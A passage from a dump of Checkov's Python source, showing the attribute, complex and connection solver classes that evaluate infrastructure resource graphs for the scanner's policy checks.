checkov.common.checks_infra.solvers.attribute_solvers.base_number_of_words_attribute_solver import \ BaseNumberOfWordsAttributeSolver # checkov:skip=CKV_SECRET_256 from checkov.common.graph.checks_infra.enums import Operators class NumberOfWordsGreaterThanOrEqualAttributeSolver(BaseNumberOfWordsAttributeSolver): operator = Operators.NUMBER_OF_WORDS_GREATER_THAN_OR_EQUAL # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None if not self._validate_vertex_value(attr): return False num_of_words = self._get_number_of_words(attr) value_numeric = self._numerize_value() if value_numeric is None: return False return num_of_words >= value_numeric ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/number_of_words_less_than_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.checks_infra.solvers.attribute_solvers.base_number_of_words_attribute_solver import \ BaseNumberOfWordsAttributeSolver # checkov:skip=CKV_SECRET_256 from checkov.common.graph.checks_infra.enums import Operators class NumberOfWordsLessThanAttributeSolver(BaseNumberOfWordsAttributeSolver): operator = Operators.NUMBER_OF_WORDS_LESS_THAN # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None if not self._validate_vertex_value(attr): return False num_of_words = self._get_number_of_words(attr) value_numeric = self._numerize_value() if value_numeric is None: return False return num_of_words < value_numeric ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/number_of_words_less_than_or_equal_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.checks_infra.solvers.attribute_solvers.base_number_of_words_attribute_solver import \ BaseNumberOfWordsAttributeSolver from checkov.common.graph.checks_infra.enums import Operators class NumberOfWordsLessThanOrEqualAttributeSolver(BaseNumberOfWordsAttributeSolver): operator = Operators.NUMBER_OF_WORDS_LESS_THAN_OR_EQUAL # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None if not self._validate_vertex_value(attr): return False num_of_words = self._get_number_of_words(attr) value_numeric = self._numerize_value() if value_numeric is None: return False return num_of_words <= value_numeric ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/number_of_words_not_equals_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.attribute_solvers.number_of_words_equals_attribute_solver import NumberOfWordsEqualsAttributeSolver class NumberOfWordsNotEqualsAttributeSolver(NumberOfWordsEqualsAttributeSolver): operator = Operators.NUMBER_OF_WORDS_NOT_EQUALS # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: return not super()._get_operation(vertex, attribute) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/range_includes_attribute_solver.py ================================================ from typing import Optional, Any, Dict, List, Union from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver from checkov.common.graph.checks_infra.enums import Operators from checkov.common.util.type_forcers import force_int class RangeIncludesAttributeSolver(BaseAttributeSolver): operator = Operators.RANGE_INCLUDES # noqa: CCE003 # a static attribute def __init__( self, resource_types: List[str], attribute: Optional[str], value: Union[Any, List[Any]], is_jsonpath_check: bool = False ) -> None: super().__init__(resource_types, attribute, value, is_jsonpath_check) def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None if attr is None: return False processed_value = self._handle_range_values(self.value) if isinstance(attr, list): return any(self._check_value(value, attr_val) for attr_val in attr for value in processed_value) return any(self._check_value(value, attr) for value in processed_value) def _handle_range_values(self, value: Union[Any, List[Any]]) -> List[Any]: # Convert value to a list if it's not already one to unify handling value_list = value if isinstance(value, list) else [value] # Process each item in the value list processed_value: List[Any] = [] for v in value_list: if isinstance(v, str) and '-' in v: # Handle range strings start_str, end_str = v.split('-') start = force_int(start_str) end = force_int(end_str) if start is not None and end is not None: processed_value.extend(range(start, end + 1)) else: # Handle single values processed_value.append(force_int(v) if isinstance(v, (str, int)) else v) return processed_value def _check_value(self, value: Any, attr: Any) -> bool: # expects one of the following values: # - an actual int # - a string that parses to an int # - * # - a string range like '1000-2000' if attr == '*': return True if isinstance(attr, str) and attr.count("-") == 1: return self._check_range(value, attr) return bool(force_int(attr) == value) @staticmethod def _check_range(value: Any, range_str: str) -> bool: try: start, end = range_str.split("-") return bool(force_int(start) <= value <= force_int(end)) except (TypeError, ValueError): # Occurs if there are not two entries or if one is not an int, in which case we just give up return False ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/range_not_includes_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.checks_infra.solvers.attribute_solvers.range_includes_attribute_solver import RangeIncludesAttributeSolver from checkov.common.graph.checks_infra.enums import Operators class RangeNotIncludesAttributeSolver(RangeIncludesAttributeSolver): operator = Operators.RANGE_NOT_INCLUDES # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: return not super()._get_operation(vertex, attribute) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/regex_match_attribute_solver.py ================================================ import logging import re from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver class RegexMatchAttributeSolver(BaseAttributeSolver): operator = Operators.REGEX_MATCH # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None try: return re.match(str(self.value), str(attr)) is not None except re.error as e: logging.warning(f'failed to run regex {self.value} for attribute: {attr}, {str(e)}') return False ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/starting_with_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver class StartingWithAttributeSolver(BaseAttributeSolver): operator = Operators.STARTING_WITH # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None return isinstance(attr, str) and attr.startswith(self.value) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/subset_attribute_solver.py ================================================ from typing import Optional, Any, Dict, Set from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver class SubsetAttributeSolver(BaseAttributeSolver): operator = Operators.SUBSET # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: attr_val = SubsetAttributeSolver.to_set(vertex.get(attribute)) # type:ignore[arg-type] # due to attribute can be None return attr_val.issubset(self.value) @staticmethod def to_set(value: Any) -> Set[Any]: if isinstance(value, set): return value elif isinstance(value, (list, dict)): return set(value) else: return {value} ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/within_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver class WithinAttributeSolver(BaseAttributeSolver): operator = Operators.WITHIN # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None return attr in self.value ================================================ FILE: checkov/common/checks_infra/solvers/complex_solvers/__init__.py ================================================ from checkov.common.checks_infra.solvers.complex_solvers.or_solver import OrSolver # noqa from checkov.common.checks_infra.solvers.complex_solvers.and_solver import AndSolver # noqa from checkov.common.checks_infra.solvers.complex_solvers.not_solver import NotSolver # noqa ================================================ FILE: checkov/common/checks_infra/solvers/complex_solvers/and_solver.py ================================================ from typing import List, Any, Dict, Optional from checkov.common.graph.checks_infra.enums import Operators from checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver from checkov.common.checks_infra.solvers.complex_solvers.base_complex_solver import BaseComplexSolver from functools import reduce from operator import and_ class AndSolver(BaseComplexSolver): operator = Operators.AND # noqa: CCE003 # a static attribute def __init__(self, solvers: List[BaseSolver], resource_types: List[str]) -> None: super().__init__(solvers, resource_types) def _get_operation(self, *args: Any, **kwargs: Any) -> Any: return reduce(and_, args) def get_operation(self, vertex: Dict[str, Any]) -> Optional[bool]: has_unrendered_attribute = False for solver in self.solvers: operation = solver.get_operation(vertex) if operation is None: has_unrendered_attribute = True elif not operation: return False return None if has_unrendered_attribute else True ================================================ FILE: checkov/common/checks_infra/solvers/complex_solvers/base_complex_solver.py ================================================ from __future__ import annotations from abc import abstractmethod from typing import List, Any, Tuple, Dict, TYPE_CHECKING, Optional from networkx import DiGraph from checkov.common.graph.checks_infra.enums import SolverType from checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver if TYPE_CHECKING: from checkov.common.typing import LibraryGraph class BaseComplexSolver(BaseSolver): operator = "" # noqa: CCE003 # a static attribute def __init__(self, solvers: List[BaseSolver], resource_types: List[str]) -> None: if solvers is None: solvers = [] self.solvers = solvers self.resource_types = resource_types super().__init__(SolverType.COMPLEX) def _get_operation(self, *args: Any, **kwargs: Any) -> Any: raise NotImplementedError() def _get_negative_op(self, *args: Any) -> Any: return not self._get_operation(args) @abstractmethod def get_operation(self, vertex: Dict[str, Any]) -> Optional[bool]: raise NotImplementedError() def run(self, graph_connector: LibraryGraph) -> Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]: passed_vertices = [] failed_vertices = [] unknown_vertices = [] if isinstance(graph_connector, DiGraph): for _, data in graph_connector.nodes(data=True): if self.resource_type_pred(data, self.resource_types): result = self.get_operation(data) if result is None: unknown_vertices.append(data) elif result: passed_vertices.append(data) else: failed_vertices.append(data) return passed_vertices, failed_vertices, unknown_vertices # isinstance(graph_connector, PyDiGraph): for _, data in graph_connector.nodes(): if self.resource_type_pred(data, self.resource_types): result = self.get_operation(data) if result is None: unknown_vertices.append(data) elif result: passed_vertices.append(data) else: failed_vertices.append(data) return passed_vertices, failed_vertices, unknown_vertices ================================================ FILE: checkov/common/checks_infra/solvers/complex_solvers/not_solver.py ================================================ from typing import List, Any, Dict, Optional from checkov.common.graph.checks_infra.enums import Operators from checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver from checkov.common.checks_infra.solvers.complex_solvers.base_complex_solver import BaseComplexSolver class NotSolver(BaseComplexSolver): operator = Operators.NOT # noqa: CCE003 # a static attribute def __init__(self, solvers: List[BaseSolver], resource_types: List[str]) -> None: if len(solvers) != 1: raise Exception('The "not" operator must have exactly one child') super().__init__(solvers, resource_types) def _get_operation(self, *args: Any, **kwargs: Any) -> Any: if len(args) != 1: raise Exception('The "not" operator must have exactly one child') return not args[0] def get_operation(self, vertex: Dict[str, Any]) -> Optional[bool]: result = self.solvers[0].get_operation(vertex) return None if result is None else not result ================================================ FILE: checkov/common/checks_infra/solvers/complex_solvers/or_solver.py ================================================ from typing import List, Any, Dict, Optional from checkov.common.graph.checks_infra.enums import Operators from checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver from checkov.common.checks_infra.solvers.complex_solvers.base_complex_solver import BaseComplexSolver from functools import reduce from operator import or_ class OrSolver(BaseComplexSolver): operator = Operators.OR # noqa: CCE003 # a static attribute def __init__(self, solvers: List[BaseSolver], resource_types: List[str]) -> None: super().__init__(solvers, resource_types) def _get_operation(self, *args: Any, **kwargs: Any) -> Any: return reduce(or_, args) def get_operation(self, vertex: Dict[str, Any]) -> Optional[bool]: has_unrendered_attribute = False for solver in self.solvers: operation = solver.get_operation(vertex) if operation: return True if operation is None: has_unrendered_attribute = True return None if has_unrendered_attribute else False ================================================ FILE: checkov/common/checks_infra/solvers/connections_solvers/__init__.py ================================================ from checkov.common.checks_infra.solvers.connections_solvers.and_connection_solver import AndConnectionSolver # noqa from checkov.common.checks_infra.solvers.connections_solvers.complex_connection_solver import ComplexConnectionSolver # noqa from checkov.common.checks_infra.solvers.connections_solvers.connection_exists_solver import ConnectionExistsSolver # noqa from checkov.common.checks_infra.solvers.connections_solvers.connection_not_exists_solver import ConnectionNotExistsSolver # noqa from checkov.common.checks_infra.solvers.connections_solvers.or_connection_solver import OrConnectionSolver # noqa ================================================ FILE: checkov/common/checks_infra/solvers/connections_solvers/and_connection_solver.py ================================================ from __future__ import annotations import itertools from typing import Optional, List, Tuple, Dict, Any, TYPE_CHECKING from checkov.common.graph.checks_infra.enums import Operators from checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver from checkov.common.checks_infra.solvers.connections_solvers.complex_connection_solver import ComplexConnectionSolver if TYPE_CHECKING: from checkov.common.typing import LibraryGraph class AndConnectionSolver(ComplexConnectionSolver): operator = Operators.AND # noqa: CCE003 # a static attribute def __init__(self, solvers: Optional[List[BaseSolver]], operator: str) -> None: super().__init__(solvers, operator) def get_operation(self, graph_connector: LibraryGraph) -> \ Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]: if not self.vertices_under_resource_types: return [], [], [] passed, failed, unknown = self.run_attribute_solvers(graph_connector) failed_or_unknown_ids = [(ComplexConnectionSolver.get_check_identifier(f)) for f in itertools.chain(failed, unknown)] passed = [p for p in passed if (ComplexConnectionSolver.get_check_identifier(p)) not in failed_or_unknown_ids] for connection_solver in self.get_sorted_connection_solvers(): connection_solver.set_vertices(graph_connector, failed, unknown) passed_solver, failed_solver, unknown_solver = connection_solver.get_operation(graph_connector) passed.extend(passed_solver) failed.extend(failed_solver) unknown.extend(unknown_solver) failed_or_unknown_ids.extend((ComplexConnectionSolver.get_check_identifier(f)) for f in itertools.chain(failed_solver, unknown_solver)) failed_ids = [(ComplexConnectionSolver.get_check_identifier(f)) for f in failed] unknown_ids = [(ComplexConnectionSolver.get_check_identifier(u)) for u in unknown] passed = [p for p in passed if (ComplexConnectionSolver.get_check_identifier(p)) not in itertools.chain(failed_ids, unknown_ids)] unknown = [u for u in unknown if (ComplexConnectionSolver.get_check_identifier(u)) not in failed_ids] return self.filter_results(passed, failed, unknown) def _get_operation(self, *args: Any, **kwargs: Any) -> None: pass ================================================ FILE: checkov/common/checks_infra/solvers/connections_solvers/base_connection_solver.py ================================================ from __future__ import annotations import itertools from typing import Any, List, Dict, Optional, Tuple, TYPE_CHECKING from networkx import DiGraph from checkov.common.graph.checks_infra.enums import SolverType from checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver from checkov.common.graph.graph_builder import CustomAttributes from checkov.terraform.graph_builder.graph_components.block_types import BlockType if TYPE_CHECKING: from checkov.common.typing import LibraryGraph class BaseConnectionSolver(BaseSolver): # resource is automatically supported SUPPORTED_CONNECTION_BLOCK_TYPES = (BlockType.OUTPUT,) def __init__( self, resource_types: List[str], connected_resources_types: List[str], vertices_under_resource_types: Optional[List[Dict[str, Any]]] = None, vertices_under_connected_resources_types: Optional[List[Dict[str, Any]]] = None, ) -> None: super().__init__(SolverType.CONNECTION) self.resource_types = resource_types self.connected_resources_types = connected_resources_types self.targeted_resources_types = set(itertools.chain(resource_types, connected_resources_types)) self.vertices_under_resource_types = vertices_under_resource_types or [] self.vertices_under_connected_resources_types = vertices_under_connected_resources_types or [] self.excluded_vertices: List[Dict[str, Any]] = [] self.unknown_vertices: List[Dict[str, Any]] = [] def run(self, graph_connector: LibraryGraph) -> Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]: self.set_vertices(graph_connector, [], []) subgraph = self.reduce_graph_by_target_types(graph_connector) return self.get_operation(subgraph) def is_associated_edge(self, origin_type: str | None, destination_type: str | None) -> bool: return (origin_type in self.resource_types and destination_type in self.connected_resources_types) or ( origin_type in self.connected_resources_types and destination_type in self.resource_types ) def is_associated_vertex(self, vertex_type: str) -> bool: return vertex_type in itertools.chain(self.resource_types, self.connected_resources_types) def set_vertices(self, graph_connector: LibraryGraph, exclude_vertices: List[Dict[str, Any]], unknown_vertices: List[Dict[str, Any]]) -> None: if isinstance(graph_connector, DiGraph): self.vertices_under_resource_types = [ v for _, v in graph_connector.nodes(data=True) if self.resource_type_pred(v, self.resource_types) ] self.vertices_under_connected_resources_types = [ v for _, v in graph_connector.nodes(data=True) if self.resource_type_pred(v, self.connected_resources_types) ] else: # isinstance(graph_connector, PyDiGraph): self.vertices_under_resource_types = [ v for _, v in graph_connector.nodes() if self.resource_type_pred(v, self.resource_types) ] self.vertices_under_connected_resources_types = [ v for _, v in graph_connector.nodes() if self.resource_type_pred(v, self.connected_resources_types) ] self.excluded_vertices = [ v for v in itertools.chain(self.vertices_under_resource_types, self.vertices_under_connected_resources_types) if v in exclude_vertices ] self.unknown_vertices = [ v for v in itertools.chain(self.vertices_under_resource_types, self.vertices_under_connected_resources_types) if v in unknown_vertices ] def reduce_graph_by_target_types(self, graph_connector: LibraryGraph) -> LibraryGraph: # no need to create a subgraph, if there are no vertices to be checked if not self.vertices_under_resource_types: return graph_connector if isinstance(graph_connector, DiGraph): resource_nodes = { node for node, resource_type in graph_connector.nodes(data=CustomAttributes.RESOURCE_TYPE) if resource_type in self.targeted_resources_types } # tuple needs to be adjusted, if more connection block types are supported connection_nodes = { node for node, block_type in graph_connector.nodes(data=CustomAttributes.BLOCK_TYPE) if block_type in BaseConnectionSolver.SUPPORTED_CONNECTION_BLOCK_TYPES } else: # isinstance(graph_connector, PyDiGraph): resource_nodes = { index for index, node in graph_connector.nodes() if self.resource_type_pred(node, list(self.targeted_resources_types)) } # tuple needs to be adjusted, if more connection block types are supported connection_nodes = { index for index, node in graph_connector.nodes() if node['block_type_'] in BaseConnectionSolver.SUPPORTED_CONNECTION_BLOCK_TYPES } resource_nodes.update(connection_nodes) return graph_connector.subgraph(list(resource_nodes)) def populate_checks_results(self, origin_attributes: Dict[str, Any], destination_attributes: Dict[str, Any], passed: List[Dict[str, Any]], failed: List[Dict[str, Any]], unknown: List[Dict[str, Any]]) -> None: if origin_attributes in self.excluded_vertices or destination_attributes in self.excluded_vertices: failed.extend([origin_attributes, destination_attributes]) elif origin_attributes in self.unknown_vertices or destination_attributes in self.unknown_vertices: unknown.extend([origin_attributes, destination_attributes]) else: passed.extend([origin_attributes, destination_attributes]) def get_operation(self, graph_connector: LibraryGraph) -> \ Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]: raise NotImplementedError def _get_operation(self, *args: Any, **kwargs: Any) -> Any: raise NotImplementedError ================================================ FILE: checkov/common/checks_infra/solvers/connections_solvers/complex_connection_solver.py ================================================ from __future__ import annotations import itertools from typing import List, Optional, Dict, Any, Tuple, TYPE_CHECKING from checkov.common.graph.checks_infra import debug from checkov.common.graph.checks_infra.enums import SolverType from checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver from checkov.common.checks_infra.solvers.complex_solvers.base_complex_solver import BaseComplexSolver from checkov.common.checks_infra.solvers.connections_solvers.base_connection_solver import BaseConnectionSolver from checkov.common.checks_infra.solvers.filter_solvers.base_filter_solver import BaseFilterSolver from checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes if TYPE_CHECKING: from checkov.common.typing import LibraryGraph class ComplexConnectionSolver(BaseConnectionSolver): def __init__(self, solvers: Optional[List[BaseSolver]], operator: str) -> None: self.solver_type = SolverType.COMPLEX_CONNECTION self.solvers = solvers if solvers else [] self.operator = operator resource_types = set() connected_resources_types = set() for sub_solver in self.solvers: if isinstance(sub_solver, BaseConnectionSolver): resource_types.update(sub_solver.resource_types) connected_resources_types.update(sub_solver.connected_resources_types) elif isinstance(sub_solver, BaseAttributeSolver): resource_types.update(sub_solver.resource_types) super().__init__(list(resource_types), list(connected_resources_types)) @staticmethod def get_check_identifier(check: Dict[str, Any]) -> Tuple[str, str, Optional[Any]]: return check[CustomAttributes.ID], check[CustomAttributes.FILE_PATH], check.get(CustomAttributes.TF_RESOURCE_ADDRESS) @staticmethod def filter_duplicates(checks: List[Dict[str, Any]]) -> List[Dict[str, Any]]: return list({(ComplexConnectionSolver.get_check_identifier(check)): check for check in checks}.values()) def filter_results( self, passed: List[Dict[str, Any]], failed: List[Dict[str, Any]], unknown: List[Dict[str, Any]] ) -> Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]: filter_solvers = [sub_solver for sub_solver in self.solvers if isinstance(sub_solver, BaseFilterSolver)] for sub_solver in filter_solvers: filter_pred = sub_solver._get_operation() passed = list(filter(filter_pred, passed)) failed = list(filter(filter_pred, failed)) unknown = list(filter(filter_pred, unknown)) passed = self.filter_duplicates(passed) failed = self.filter_duplicates(failed) unknown = self.filter_duplicates(unknown) debug.complex_connection_block(solvers=self.solvers, operator=self.operator, passed_resources=passed, failed_resources=failed) return passed, failed, unknown def get_sorted_connection_solvers(self) -> List[BaseConnectionSolver]: connection_solvers = [sub_solver for sub_solver in self.solvers if isinstance(sub_solver, BaseConnectionSolver)] filter_solvers = [sub_solver for sub_solver in self.solvers if isinstance(sub_solver, BaseFilterSolver)] resource_types_to_filter = [] for filter_solver in filter_solvers: if filter_solver.attribute == "resource_type": resource_types_to_filter.extend(filter_solver.value) sorted_connection_solvers = [] connection_solvers_with_filtered_resource_types = [] for connection_solver in connection_solvers: if any( r in resource_types_to_filter for r in itertools.chain(connection_solver.resource_types, connection_solver.connected_resources_types) ): connection_solvers_with_filtered_resource_types.append(connection_solver) else: sorted_connection_solvers.append(connection_solver) sorted_connection_solvers.extend(connection_solvers_with_filtered_resource_types) return sorted_connection_solvers def run_attribute_solvers(self, graph_connector: LibraryGraph) -> \ Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]: attribute_solvers = [ sub_solver for sub_solver in self.solvers if isinstance(sub_solver, (BaseAttributeSolver, BaseComplexSolver)) ] passed_attributes, failed_attributes, unknown_attributes = [], [], [] for attribute_solver in attribute_solvers: passed_solver, failed_solver, unknown_solver = attribute_solver.run(graph_connector) passed_attributes.extend(passed_solver) failed_attributes.extend(failed_solver) unknown_attributes.extend(unknown_solver) return passed_attributes, failed_attributes, unknown_attributes ================================================ FILE: checkov/common/checks_infra/solvers/connections_solvers/connection_exists_solver.py ================================================ from __future__ import annotations import itertools import logging from typing import List, Optional, Dict, Any, Tuple from rustworkx import PyDiGraph from checkov.common.graph.checks_infra import debug try: from networkx import edge_dfs, DiGraph except ImportError: logging.info("Not able to import networkx") edge_dfs = lambda G : [] from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.connections_solvers.base_connection_solver import BaseConnectionSolver from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.typing import LibraryGraph, _RustworkxGraph from checkov.terraform.graph_builder.graph_components.block_types import BlockType class ConnectionExistsSolver(BaseConnectionSolver): operator = Operators.EXISTS # noqa: CCE003 # a static attribute def __init__( self, resource_types: List[str], connected_resources_types: List[str], vertices_under_resource_types: Optional[List[Dict[str, Any]]] = None, vertices_under_connected_resources_types: Optional[List[Dict[str, Any]]] = None, ) -> None: super().__init__( resource_types, connected_resources_types, vertices_under_resource_types, vertices_under_connected_resources_types, ) def get_operation( self, graph_connector: LibraryGraph ) -> Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]: passed, failed, unknown = self._get_operation(graph_connector=graph_connector) debug.connection_block( resource_types=self.resource_types, connected_resource_types=self.connected_resources_types, operator=self.operator, passed_resources=passed, failed_resources=failed, ) return passed, failed, unknown def _get_operation( self, graph_connector: LibraryGraph ) -> Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]: passed: List[Dict[str, Any]] = [] failed: List[Dict[str, Any]] = [] unknown: List[Dict[str, Any]] = [] if not self.vertices_under_resource_types or not self.vertices_under_connected_resources_types: failed.extend(self.vertices_under_resource_types) failed.extend(self.vertices_under_connected_resources_types) return passed, failed, unknown if isinstance(graph_connector, DiGraph): self.get_networkx_operation(graph_connector=graph_connector, passed=passed, failed=failed, unknown=unknown) elif isinstance(graph_connector, PyDiGraph): self.get_rustworkx_operation(graph_connector=graph_connector, passed=passed, failed=failed, unknown=unknown) else: raise Exception(f"Graph type {type(graph_connector)} not supported") failed.extend( [ v for v in itertools.chain( self.vertices_under_resource_types, self.vertices_under_connected_resources_types ) if v not in itertools.chain(passed, unknown) ] ) return passed, failed, unknown def _set_connected_node(self, source: Any, target: Any) -> None: source.setdefault(CustomAttributes.CONNECTED_NODE, {})[tuple(self.connected_resources_types)] = target def get_networkx_operation( self, graph_connector: DiGraph, passed: list[dict[str, Any]], failed: list[dict[str, Any]], unknown: list[dict[str, Any]], ) -> None: for u, v in edge_dfs(graph_connector): origin_attributes = graph_connector.nodes(data=True)[u] opposite_vertices = None if origin_attributes in self.vertices_under_resource_types: opposite_vertices = self.vertices_under_connected_resources_types elif origin_attributes in self.vertices_under_connected_resources_types: opposite_vertices = self.vertices_under_resource_types if not opposite_vertices: continue destination_attributes = graph_connector.nodes(data=True)[v] if destination_attributes in opposite_vertices: self.populate_checks_results( origin_attributes=origin_attributes, destination_attributes=destination_attributes, passed=passed, failed=failed, unknown=unknown, ) self._set_connected_node(destination_attributes, origin_attributes) continue if origin_attributes.get(CustomAttributes.BLOCK_TYPE) == BlockType.OUTPUT: print(1) destination_block_type = destination_attributes.get(CustomAttributes.BLOCK_TYPE) if destination_block_type == BlockType.OUTPUT: try: output_edges = graph_connector.edges(v, data=True) _, output_destination, _ = next(iter(output_edges)) output_destination = graph_connector.nodes(data=True)[output_destination] output_destination_type = output_destination.get(CustomAttributes.RESOURCE_TYPE) if self.is_associated_edge( origin_attributes.get(CustomAttributes.RESOURCE_TYPE), output_destination_type ): passed.extend([origin_attributes, output_destination]) except StopIteration: continue def get_rustworkx_operation( self, graph_connector: _RustworkxGraph, passed: list[dict[str, Any]], failed: list[dict[str, Any]], unknown: list[dict[str, Any]], ) -> None: for edge in graph_connector.edge_list(): u, v = edge origin_attributes = graph_connector.nodes()[u][1] opposite_vertices = None if origin_attributes in self.vertices_under_resource_types: opposite_vertices = self.vertices_under_connected_resources_types elif origin_attributes in self.vertices_under_connected_resources_types: opposite_vertices = self.vertices_under_resource_types if not opposite_vertices: continue destination_attributes = graph_connector.nodes()[v][1] if destination_attributes in opposite_vertices: self.populate_checks_results( origin_attributes=origin_attributes, destination_attributes=destination_attributes, passed=passed, failed=failed, unknown=unknown, ) self._set_connected_node(destination_attributes, origin_attributes) continue destination_block_type = destination_attributes.get(CustomAttributes.BLOCK_TYPE) if destination_block_type == BlockType.OUTPUT: try: output_edges = graph_connector.adj_direction( v, False ) # True means inbound edges and False means outbound edges output_destination_index = next(iter(output_edges)) output_destination = graph_connector.nodes()[output_destination_index][1] output_destination_type = output_destination.get(CustomAttributes.RESOURCE_TYPE) if self.is_associated_edge( origin_attributes.get(CustomAttributes.RESOURCE_TYPE), output_destination_type ): passed.extend([origin_attributes, output_destination]) except StopIteration: continue ================================================ FILE: checkov/common/checks_infra/solvers/connections_solvers/connection_not_exists_solver.py ================================================ from __future__ import annotations from typing import List, Optional, Dict, Any, Tuple, TYPE_CHECKING from checkov.common.graph.checks_infra import debug from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.connections_solvers.connection_exists_solver import ConnectionExistsSolver if TYPE_CHECKING: from checkov.common.typing import LibraryGraph class ConnectionNotExistsSolver(ConnectionExistsSolver): operator = Operators.NOT_EXISTS # noqa: CCE003 # a static attribute def __init__( self, resource_types: List[str], connected_resources_types: List[str], vertices_under_resource_types: Optional[List[Dict[str, Any]]] = None, vertices_under_connected_resources_types: Optional[List[Dict[str, Any]]] = None, ) -> None: super().__init__( resource_types, connected_resources_types, vertices_under_resource_types, vertices_under_connected_resources_types, ) def get_operation(self, graph_connector: LibraryGraph) -> \ Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]: passed, failed, unknown = super()._get_operation(graph_connector) debug.connection_block( resource_types=self.resource_types, connected_resource_types=self.connected_resources_types, operator=self.operator, passed_resources=failed, # it has to be switched here, like the output failed_resources=passed, ) return failed, passed, unknown ================================================ FILE: checkov/common/checks_infra/solvers/connections_solvers/connection_one_exists_solver.py ================================================ from __future__ import annotations from typing import List, Optional, Dict, Any, Tuple, TYPE_CHECKING from checkov.common.checks_infra.solvers import ConnectionExistsSolver from checkov.common.graph.checks_infra import debug from checkov.common.graph.checks_infra.enums import Operators if TYPE_CHECKING: from checkov.common.typing import LibraryGraph class ConnectionOneExistsSolver(ConnectionExistsSolver): operator = Operators.ONE_EXISTS # noqa: CCE003 # a static attribute def __init__( self, resource_types: List[str], connected_resources_types: List[str], vertices_under_resource_types: Optional[List[Dict[str, Any]]] = None, vertices_under_connected_resources_types: Optional[List[Dict[str, Any]]] = None, ) -> None: super().__init__( resource_types, connected_resources_types, vertices_under_resource_types, vertices_under_connected_resources_types, ) def get_operation(self, graph_connector: LibraryGraph) -> \ Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]: passed, failed, unknown = super()._get_operation(graph_connector) failed = [f for f in failed if f not in passed] unknown = [u for u in unknown if u not in passed] debug.connection_block( resource_types=self.resource_types, connected_resource_types=self.connected_resources_types, operator=self.operator, passed_resources=passed, failed_resources=failed, ) return passed, failed, unknown ================================================ FILE: checkov/common/checks_infra/solvers/connections_solvers/or_connection_solver.py ================================================ from __future__ import annotations import itertools from typing import Optional, List, Tuple, Dict, Any, TYPE_CHECKING from 